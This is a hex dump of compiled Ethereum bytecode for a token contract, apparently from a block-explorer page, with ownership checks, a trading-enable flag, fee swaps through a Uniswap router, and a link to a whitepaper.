ffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43616e206e6f7420776974686472617720746f6b656e732073656c66000000006044820152606401610d4d565b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db2546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff90811690610ebd9085168285612b53565b5060019392505050565b5f610ed9610ed3611341565b83612be0565b506001919050565b60408051338152602081018390527ffcabeccccf54e1b15298d1b39405773774cb5f31ea385fc9d02799b50240c26e910160405180910390a150565b5f610f26611361565b610f2f82612d88565b90505b919050565b610f3f611361565b610f485f612d99565b565b6060604051806060016040528060258152602001614cbd60259139905090565b610f72611361565b610f48612e0d565b5f610ebd610f86611341565b84846115e5565b5f8080808080808080807f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db16040805161010081018252600283015461ffff80821683526201000080830482166020808601919091526401000000008085048416868801526601000000000000850460ff908116606080890191909152670100000000000000870490911660808801526801000000000000000086046effffffffffffffffffffffffffffff1660a08801527701000000000000000000000000000000000000000000000090950462ffffff1660c0870152865194850187526003909701548084168552918204831690840152949094049093169183019190915260e081019190915290506110a1815f612fbd565b99506110ae816001612fbd565b98506110bb816002612fbd565b97506110c8816003612fbd565b96506110d5816004612fbd565b95506110e2816005612fbd565b94506110ef816006612fbd565b93506110fc816007612fbd565b9250611109816008612fbd565b915050909192939495969798565b61117160408051610100810182525f808252602080830182905282840182905260608084018390526080840183905260a0840183905260c0840183905284519081018552828152908101829052928301529060e082015290565b5060408051610100810182527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db35461ffff80821683526201000080830482166020808601919091526401000000008085048416868801526601000000000000850460ff908116606080890191909152670100000000000000870490911660808801526801000000000000000086046effffffffffffffffffffffffffffff1660a08801527701000000000000000000000000000000000000000000000090950462ffffff1660c0870152865194850187527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db45480851686529283048416918501919091529004169281019290925260e081019190915290565b611292611361565b73ffffffffffffffffffffffffffffffffffffffff8116611335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610d4d565b61133e81612d99565b50565b5f61134a612fe8565b905090565b61135c8383836001611404565b505050565b611369611341565b73ffffffffffffffffffffffffffffffffffffffff1661138761304e565b73ffffffffffffffffffffffffffffffffffffffff1614610f48576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610d4d565b73ffffffffffffffffffffffffffffffffffffffff8416611453576040517f8bc146c40000000000000000000000000000000000000000000000000000000081525f6004820152602401610d4d565b73ffffffffffffffffffffffffffffffffffffffff83166114a2576040517f4e15efda0000000000000000000000000000000000000000000000000000000081525f6004820152602401610d4d565b5f6114cf857f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db15b90613057565b90505f6114fc857f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db16114c9565b60018381015473ffffffffffffffffffffffffffffffffffffffff6a01000000000000000000009182900481165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db860209081526040808320958701549490940490921681529290529020859055905082156115dd578473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925866040516115d491815260200190565b60405180910390a35b505050505050565b60408051610100810182527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db35461ffff80821683526201000080830482166020808601919091526401000000008085048416868801526601000000000000850460ff908116606080890191909152670100000000000000870490911660808801526801000000000000000086046effffffffffffffffffffffffffffff1660a08801527701000000000000000000000000000000000000000000000090950462ffffff1660c0870152865194850187527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db45480851686529283048416918501919091529004169281019290925260e08101919091525f907f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190826117298388613057565b90505f6117368488613057565b60018301549091506a0100000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1661179a576040517f4c14f64c0000000000000000000000000000000000000000000000000000000081525f6004820152602401610d4d565b60018101546a0100000000000000000000900473ffffffffffffffffffffffffffffffffffffffff166117fb576040517f17858bbe0000000000000000000000000000000000000000000000000000000081525f6004820152602401610d4d565b5f611d64848860405180610140016040528061181f611818611341565b8b90613057565b6040518060e00160405290815f82015f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201600f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201601e9054906101000a900460ff1660ff1660ff168152602001600182015f9054906101000a900464ffffffffff1664ffffffffff1664ffffffffff1681526020016001820160059054906101000a900464ffffffffff1664ffffffffff1664ffffffffff16815260200160018201600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201601e9054906101000a900461ffff1661ffff1661ffff16815250508152602001876040518060e00160405290815f82015f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201600f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201601e9054906101000a900460ff1660ff1660ff168152602001600182015f9054906101000a900464ffffffffff1664ffffffffff1664ffffffffff1681526020016001820160059054906101000a900464ffffffffff1664ffffffffff1664ffffffffff16815260200160018201600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201601e9054906101000a900461ffff1661ffff1661ffff16815250508152602001866040518060e00160405290815f82015f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201600f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201601e9054906101000a900460ff1660ff1660ff168152602001600182015f9054906101000a900464ffffffffff1664ffffffffff1664ffffffffff1681526020016001820160059054906101000a900464ffffffffff1664ffffffffff1664ffffffffff16815260200160018201600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201601e9054906101000a900461ffff1661ffff1661ffff168152505081526020015f61ffff1681526020015f6effffffffffffffffffffffffffffff1681526020015f6effffffffffffffffffffffffffffff168152602001895f015f9054906101000a900460ff16151581526020015f6effffffffffffffffffffffffffffff1681526020014364ffffffffff1681526020016040518060a001604052805f6001811115611d2b57611d2b614b5e565b6001811115611d3c57611d3c614b5e565b81526020015f81526020015f81526020015f815260e08b0151602090910152905291906131d8565b73ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000047c44e10545e0d4e20c60e98e6a4fcc00dc2b83165f90815260048701602052604090209091506001610120830151516001811115611dc757611dc7614b5e565b03611e3f576001826101200151606001516002811115611de957611de9614b5e565b14158015611e0b57505f82608001516effffffffffffffffffffffffffffff16115b15611e2157611e1f848284608001516133bd565b505b611e3084848460a001516134a7565b60019650505050505050610d8b565b6001826101200151606001516002811115611e5c57611e5c614b5e565b14158015611e7e57505f82608001516effffffffffffffffffffffffffffff16115b15611fa757611e92848284608001516133bd565b506001826101200151602001516002811115611eb057611eb0614b5e565b14158015611ec45750611ec4856002612fbd565b15611fa7576002826101200151604001516003811115611ee657611ee6614b5e565b14611f4b57608082015184546effffffffffffffffffffffffffffff6f010000000000000000000000000000008083048216909301169091027fffff000000000000000000000000000000ffffffffffffffffffffffffffffff909116178455611fa7565b608082015183546effffffffffffffffffffffffffffff6f010000000000000000000000000000008083048216909301169091027fffff000000000000000000000000000000ffffffffffffffffffffffffffffff9091161783555b611fb1855f612fbd565b1561240a577f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db154602086015161ffff62010000909204821691161061204f577f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffff8116620100009182900461ffff908116600101169091021790555b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db154602086015161ffff6201000090920482169116036122a8577f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db15462010000900461ffff166120dc7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b600201805461ffff9290921662010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffff9092169190911790556101906121417f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b60030180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00001661ffff9290921691909117905561019061219f7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b600301805461ffff9290921662010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffff9092169190911790555f6122027f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b600301805461ffff92909216640100000000027fffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff90921691909117905560016122687f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b805461ffff620100008083048216909401169092027fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffff9092169190911790555b6040805160e08101825284546effffffffffffffffffffffffffffff80821683526f0100000000000000000000000000000082041660208301527e010000000000000000000000000000000000000000000000000000000000009081900460ff1692820192909252600185015464ffffffffff80821660608401526501000000000082041660808301526a0100000000000000000000810473ffffffffffffffffffffffffffffffffffffffff1660a08301529190910461ffff1660c08201526123719061356a565b61240a57604082015151608083015160a080850151908801519101906effffffffffffffffffffffffffffff90811682840190911611156124075760a08701516040517f4c97ce530000000000000000000000000000000000000000000000000000000081526effffffffffffffffffffffffffffff918216600482015281831660248201529083166044820152606401610d4d565b50505b600282610120015160200151600281111561242757612427614b5e565b03612b3457612437856005612fbd565b61246d576040517f12f1f92300000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600382610120015160400151600381111561248a5761248a614b5e565b036127a35761249a856001612fbd565b15612553576101008201805164ffffffffff9081165f90815260068901602052604080822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff008116600160ff92831601821617909155935190921681522054606087015190821691168111156125515760608601516040517f539940b600000000000000000000000000000000000000000000000000000000815260ff91821660048201529082166024820152604401610d4d565b505b608082015160a0830151825461257d926effffffffffffffffffffffffffffff909116918861357f565b6effffffffffffffffffffffffffffff1660e083015261259e856006612fbd565b80156125be57505f8260e001516effffffffffffffffffffffffffffff16115b156127a3576127a38260e001516effffffffffffffffffffffffffffff1687600101600c9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661279060048a600201604051806101000160405290815f82015f9054906101000a900461ffff1661ffff1661ffff1681526020015f820160029054906101000a900461ffff1661ffff1661ffff1681526020015f820160049054906101000a900461ffff1661ffff1661ffff1681526020015f820160069054906101000a900460ff1660ff1660ff1681526020015f820160079054906101000a900460ff1660ff1660ff1681526020015f820160089054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f820160179054906101000a900462ffffff1662ffffff1662ffffff168152602001600182016040518060600160405290815f82015f9054906101000a900461ffff1661ffff1661ffff1681526020015f820160029054906101000a900461ffff1661ffff1661ffff1681526020015f820160049054906101000a900461ffff1661ffff1661ffff168152505081525050612fbd90919063ffffffff16565b8954640100000000900461ffff16613649565b6127ae856008612fbd565b15612b34576040805160e08101825285546effffffffffffffffffffffffffffff80821683526f0100000000000000000000000000000082041660208301527e010000000000000000000000000000000000000000000000000000000000009081900460ff1692820192909252600186015464ffffffffff80821660608401526501000000000082041660808301526a0100000000000000000000810473ffffffffffffffffffffffffffffffffffffffff1660a08301529190910461ffff1660c082015261287c90613dfb565b80156128a2575060038261012001516040015160038111156128a0576128a0614b5e565b145b1561297657835460ff7e010000000000000000000000000000000000000000000000000000000000009091048116101561292f578354600160ff7e0100000000000000000000000000000000000000000000000000000000000080840482169290920116027fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091161784555b6080850151845460ff9182167e01000000000000000000000000000000000000000000000000000000000000909104909116036129715761296f84613e52565b505b612b34565b6040805160e08101825284546effffffffffffffffffffffffffffff80821683526f0100000000000000000000000000000082041660208301527e010000000000000000000000000000000000000000000000000000000000009081900460ff1692820192909252600185015464ffffffffff80821660608401526501000000000082041660808301526a0100000000000000000000810473ffffffffffffffffffffffffffffffffffffffff1660a08301529190910461ffff1660c0820152612a3f90613dfb565b8015612a6557506002826101200151604001516003811115612a6357612a63614b5e565b145b15612b3457825460ff7e0100000000000000000000000000000000000000000000000000000000000090910481161015612af2578254600160ff7e0100000000000000000000000000000000000000000000000000000000000080840482169290920116027fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091161783555b6080850151835460ff9182167e0100000000000000000000000000000000000000000000000000000000000090910490911603612b3457612b3283613e52565b505b612b4384848460a001516134a7565b5060019998505050505050505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb0000000000000000000000000000000000000000000000000000000017905261135c908490613eaf565b73ffffffffffffffffffffffffffffffffffffffff82165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db56020526040902080547f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db191906effffffffffffffffffffffffffffff1680841115612cad576040517fcf4791810000000000000000000000000000000000000000000000000000000081526effffffffffffffffffffffffffffff8216600482015260248101859052604401610d4d565b81547fffffffffffffffffffffffffffffffffff00000000000000000000000000000081166bffffffffffffffffffffffff8681166effffffffffffffffffffffffffffff938416039092161783556001840180547fffffffffffffffffffffffffffffffffffffffff00000000000000000000000081169083168790039092169190911790556040518481525f9073ffffffffffffffffffffffffffffffffffffffff8716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050565b8051602082015190555f6001610f2f565b5f805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60408051610100810182527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db35461ffff80821683526201000080830482166020808601919091526401000000008085048416868801526601000000000000850460ff908116606080890191909152670100000000000000870490911660808801526801000000000000000086046effffffffffffffffffffffffffffff1660a08801527701000000000000000000000000000000000000000000000090950462ffffff1660c0870152865194850187527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db45480851686529283048416918501919091529004169281019290925260e0810191909152612f2d906005612fbd565b15612f94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610d4d565b61133e7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db1613f54565b5f610d8b826008811115612fd357612fd3614b5e565b845161ffff1660ff9091161c60019081161490565b5f303303613048575f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f9201919091525050505036015173ffffffffffffffffffffffffffffffffffffffff16915061304b9050565b50335b90565b5f61134a613f96565b73ffffffffffffffffffffffffffffffffffffffff8181165f908152600484016020908152604091829020825160e08101845281546effffffffffffffffffffffffffffff80821683526f01000000000000000000000000000000820416938201939093527e010000000000000000000000000000000000000000000000000000000000009283900460ff1693810193909352600181015464ffffffffff80821660608601526501000000000082041660808501526a0100000000000000000000810490941660a0840152920461ffff1660c08201526131369061401d565b610925576001810180547fffff0000000000000000000000000000000000000000ffffffffffffffffffff166a010000000000000000000073ffffffffffffffffffffffffffffffffffffffff85160217908190557e01000000000000000000000000000000000000000000000000000000000000900461ffff1660021781600101601e6101000a81548161ffff021916908361ffff16021790555092915050565b61330b6040805161022081019091525f6101408201818152610160830182905261018083018290526101a083018290526101c083018290526101e08301829052610200830191909152819081526040805160e0810182525f8082526020828101829052928201819052606082018190526080820181905260a0820181905260c082015291019081526040805160e0810182525f8082526020828101829052928201819052606082018190526080820181905260a0820181905260c082015291019081525f6020820181905260408201819052606082018190526080820181905260a0820181905260c082015260e00161463a6040805160a08101909152805f81526020015f81526020015f81526020015f8152604080516060810182525f80825260208281018290529282015291015290565b6020840151516effffffffffffffffffffffffffffff1682111561337c576020840151516040517fcf4791810000000000000000000000000000000000000000000000000000000081526effffffffffffffffffffffffffffff909116600482015260248101839052604401610d4d565b6133868484614031565b5060608401516133979083906143dd565b6effffffffffffffffffffffffffffff90811660a0870152166080850152509192915050565b82547fffffffffffffffffffffffffffffffffff0000000000000000000000000000008082166effffffffffffffffffffffffffffff92831684900383161785558354908116908216830182161783556001838101549085015460405192841683525f926a01000000000000000000009283900473ffffffffffffffffffffffffffffffffffffffff90811693909204909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35f826effffffffffffffffffffffffffffff161161349c575f61349f565b60015b949350505050565b82547fffffffffffffffffffffffffffffffffff0000000000000000000000000000008082166effffffffffffffffffffffffffffff92831684900383161785558354908116908216830182161783556001838101549085015460405192841683526a01000000000000000000009182900473ffffffffffffffffffffffffffffffffffffffff908116939290910416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b60c08101515f90600a1c600190811614610f2f565b8361358b826007612fbd565b1561349f576effffffffffffffffffffffffffffff848401811690808516820190808716830190881682116135c25781935061363e565b876effffffffffffffffffffffffffffff1681116135e25780935061363e565b876effffffffffffffffffffffffffffff1683116136025782935061363e565b876effffffffffffffffffffffffffffff16866effffffffffffffffffffffffffffff16116136335785935061363e565b87935050505061349f565b505050949350505050565b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790555f612710848480156136a857505f8461ffff16115b156136eb5760028261ffff168561ffff168902816136c8576136c8614971565b04816136d6576136d6614971565b049250600261ffff8516048203915082870396505b60408051600280825260608201835273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000047c44e10545e0d4e20c60e98e6a4fcc00dc2b831631925f9291906020830190803683370190505090507f000000000000000000000000047c44e10545e0d4e20c60e98e6a4fcc00dc2b83815f8151811061377957613779614b8b565b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613810573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906138349190614bb8565b8160018151811061384757613847614b8b565b73ffffffffffffffffffffffffffffffffffffffff909216602092830291909101909101526040517f791ac947000000000000000000000000000000000000000000000000000000008152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906138e4908c905f9086907f000000000000000000000000047c44e10545e0d4e20c60e98e6a4fcc00dc2b83904290600401614bd3565b5f604051808303815f87803b1580156138fb575f80fd5b505af115801561390d573d5f803e3d5ffd5b505050505f827f000000000000000000000000047c44e10545e0d4e20c60e98e6a4fcc00dc2b8373ffffffffffffffffffffffffffffffffffffffff16316139559190614c5e565b90505f7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db1600801805480602002602001604051908101604052809291908181526020015f905b82821015613a92578382905f5260205f2090600202016040518060600160405290815f820180546139cb90614c71565b80601f01602080910402602001604051908101604052809291908181526020018280546139f790614c71565b8015613a425780601f10613a1957610100808354040283529160200191613a42565b820191905f5260205f20905b815481529060010190602001808311613a2557829003601f168201915b505050918352505060019182015461ffff81166020808401919091526201000090910473ffffffffffffffffffffffffffffffffffffffff1660409092019190915291835292909201910161399b565b505082519293505081159050613c13575f5b81811015613c11575f838281518110613abf57613abf614b8b565b60200260200101516020015161ffff161115613c09575f8861ffff16848381518110613aed57613aed614b8b565b60200260200101516020015161ffff16860281613b0c57613b0c614971565b0490505f73ffffffffffffffffffffffffffffffffffffffff16848381518110613b3857613b38614b8b565b60200260200101516040015173ffffffffffffffffffffffffffffffffffffffff1603613ba55760405173ffffffffffffffffffffffffffffffffffffffff89169082156108fc029083905f818181858888f19350505050158015613b9f573d5f803e3d5ffd5b50613c07565b838281518110613bb757613bb7614b8b565b60200260200101516040015173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015613c05573d5f803e3d5ffd5b505b505b600101613aa4565b505b8715613d33575f60028861ffff168b61ffff16860281613c3557613c35614971565b0481613c4357613c43614971565b6040517ff305d71900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000047c44e10545e0d4e20c60e98e6a4fcc00dc2b8381166004830152602482018d90525f6044830181905260648301528a1660848201524260a48201529190049150737a250d5630b4cf539739df2c5dacb4c659f2488d9063f305d71990839060c40160606040518083038185885af1158015613d09573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190613d2e91906149f0565b505050505b60405173ffffffffffffffffffffffffffffffffffffffff808816917f000000000000000000000000047c44e10545e0d4e20c60e98e6a4fcc00dc2b839091163180156108fc02915f818181858888f19350505050158015613d97573d5f803e3d5ffd5b5050505050505050505f613dc87f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001691151591909117905550505050565b5f816060015164ffffffffff16826080015164ffffffffff1610158015613e2c57505f826060015164ffffffffff16115b15610f3257600561ffff16826060015183608001510364ffffffffff1611159050919050565b6001810180547e0100000000000000000000000000000000000000000000000000000000000080820461ffff16600417027dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091161790555f81610f2f565b5f8060205f8451602086015f885af180613ece576040513d5f823e3d81fd5b50505f513d91508115613ee5578060011415613eff565b73ffffffffffffffffffffffffffffffffffffffff84163b155b15613f4e576040517f5274afe700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85166004820152602401610d4d565b50505050565b6002810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000811661ffff9182166020189091169081179091555f90610921565b335f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db5602052805460408220600101547f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db1919061400060f09190911c9081166180009091161715158061400a578193505b60018103614017575f5193505b50505090565b60c08101515f90600190811c811614610f2f565b6141646040805161022081019091525f6101408201818152610160830182905261018083018290526101a083018290526101c083018290526101e08301829052610200830191909152819081526040805160e0810182525f8082526020828101829052928201819052606082018190526080820181905260a0820181905260c082015291019081526040805160e0810182525f8082526020828101829052928201819052606082018190526080820181905260a0820181905260c082015291019081525f6020820181905260408201819052606082018190526080820181905260a0820181905260c082015260e00161463a6040805160a08101909152805f81526020015f81526020015f81526020015f8152604080516060810182525f80825260208281018290529282015291015290565b8260c00151156141bd576040805160a081019091528060018152602001600181526020016001815260200160018152604080516060810182525f8082526020828101829052928201529101526101208401525081610925565b610120830180515f60409091018190529051602001526141dc8361441d565b6141e6575f6141e9565b60015b61012084015190600181111561420157614201614b5e565b9081600181111561421457614214614b5e565b9052506142208361451e565b156142775761012083015160016060918201526040805180830182525f80825260208083018290529183018190528251938401835280845290830181905290820152610120840151608001525f60608401526142fd565b610120830180515f60609091015260e083015190516080015261429b826008612fbd565b80156142ab57506142ab8361453f565b156142fd57610120830180516002606091820152604084810151815180840183525f8082526020808301829052918401528251938401835261ffff909116808452908301819052908201529051608001525b610120830151608001516040015161ffff16606084015260208301516143229061356a565b806143355750614335836040015161356a565b156143d65761012083015160026020918201528301516143549061356a565b15614395576101208301805160026040918201526101008501519085015164ffffffffff9091166060918201529051608001515161ffff16908401526143cf565b61012083018051600360409091015261010084015160208086015164ffffffffff90921660809283015291510151015161ffff1660608401525b5081610925565b5090919050565b5f808261ffff165f036143f457505f905082614416565b505061271061ffff82168302046effffffffffffffffffffffffffffff811683035b9250929050565b604080516003808252608082019092525f91829190816020015b6040805160e0810182525f8082526020808301829052928201819052606082018190526080820181905260a0820181905260c082015282527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff909201910181614437579050509050825f0151815f815181106144b5576144b5614b8b565b60200260200101819052508260200151816001815181106144d8576144d8614b8b565b60200260200101819052508260400151816002815181106144fb576144fb614b8b565b602002602001018190525061450f81614560565b80610d8b5750505060c0015190565b5f61452c82602001516145ad565b80610f2f5750610f2f82604001516145ad565b5f61454d82602001516145d6565b80610f2f5750610f2f82604001516145d6565b80515f90815b818110156145a65761459084828151811061458357614583614b8b565b60200260200101516145eb565b1561459e57600192506145a6565b600101614566565b5050919050565b60c08101515f90600b1c60019081161480610f2f575060c0820151600b1c600190811614610f2f565b60c08101515f9060021c600190811614610f2f565b5f600c5b600c8160ff1610158015614606575060108160ff16105b156146345760c083015161ffff1660ff82161c60019081160361462c5750600192915050565b6001016145ef565b50919050565b905290565b5f602080835283518060208501525f5b8181101561466b5785810183015185820160400152820161464f565b505f6040828601015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8301168501019250505092915050565b73ffffffffffffffffffffffffffffffffffffffff8116811461133e575f80fd5b5f80604083850312156146db575f80fd5b82356146e6816146a9565b946020939093013593505050565b5f60208284031215614704575f80fd5b813561ffff81168114610d8b575f80fd5b5f60208284031215614725575f80fd5b5035919050565b5f805f6060848603121561473e575f80fd5b8335614749816146a9565b92506020840135614759816146a9565b929592945050506040919091013590565b5f6040828403121561477a575f80fd5b82601f830112614788575f80fd5b6040516040810181811067ffffffffffffffff821117156147d0577f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b80604052508060408401858111156147e6575f80fd5b845b818110156148005780358352602092830192016147e8565b509195945050505050565b5f6020828403121561481b575f80fd5b8135610d8b816146a9565b5f6101408201905061ffff8084511683528060208501511660208401528060408501511660408401525060ff606084015116606083015260ff608084015116608083015260a083015161488c60a08401826effffffffffffffffffffffffffffff169052565b5060c08301516148a360c084018262ffffff169052565b5060e08301516148d360e0840182805161ffff908116835260208083015182169084015260409182015116910152565b5092915050565b5f80604083850312156148eb575f80fd5b82356148f6816146a9565b91506020830135614906816146a9565b809150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b6effffffffffffffffffffffffffffff81811683821602808216919082811461496957614969614911565b505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6effffffffffffffffffffffffffffff808416806149e4577f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b92169190910492915050565b5f805f60608486031215614a02575f80fd5b8351925060208401519150604084015190509250925092565b600181815b80851115614a7457817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115614a5a57614a5a614911565b80851615614a6757918102915b93841c9390800290614a20565b509250929050565b5f82614a8a57506001610925565b81614a9657505f610925565b8160018114614aac5760028114614ab657614ad2565b6001915050610925565b60ff841115614ac757614ac7614911565b50506001821b610925565b5060208310610133831016604e8410600b8410161715614af5575081810a610925565b614aff8383614a1b565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115614b3157614b31614911565b029392505050565b5f610d8b60ff841683614a7c565b808202811582820484141761092557610925614911565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f60208284031215614bc8575f80fd5b8151610d8b816146a9565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015614c3057845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101614bfe565b505073ffffffffffffffffffffffffffffffffffffffff969096166060850152505050608001529392505050565b8181038181111561092557610925614911565b600181811c90821680614c8557607f821691505b602082108103614634577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffdfe68747470733a2f2f6c756475782e6f6e6c696e652f66696c65732f7770617065722e706466a26469706673582212205b65ad76891f39e4db2926ab6e355b47cf4bf299d86349417395f687aa3af6a364736f6c63430008180033

Deployed Bytecode Sourcemap

